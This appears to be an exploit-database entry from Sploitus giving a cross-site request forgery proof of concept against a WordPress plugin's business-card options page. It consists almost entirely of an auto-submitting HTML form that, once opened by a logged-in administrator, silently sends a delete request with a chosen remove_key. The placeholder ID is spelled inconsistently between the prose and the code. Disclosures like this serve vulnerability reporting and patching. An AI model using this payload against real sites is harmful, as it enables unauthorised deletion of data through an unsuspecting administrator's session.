## https://sploitus.com/exploit?id=WPEX-ID:64CF5F95-BBF0-4C5F-867B-62F1B7F6A42E
Make a logged in admin open an HTML document containing (where <<ID_TO_DELETE>> is a valid ID):
```
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin.php?page=es-bcard-options" method="post">
<input type="hidden" name="remove_key" value="<<_ID_TO_DELETE>>">
<input type="submit" value="Submit" />
</form>
</body>
```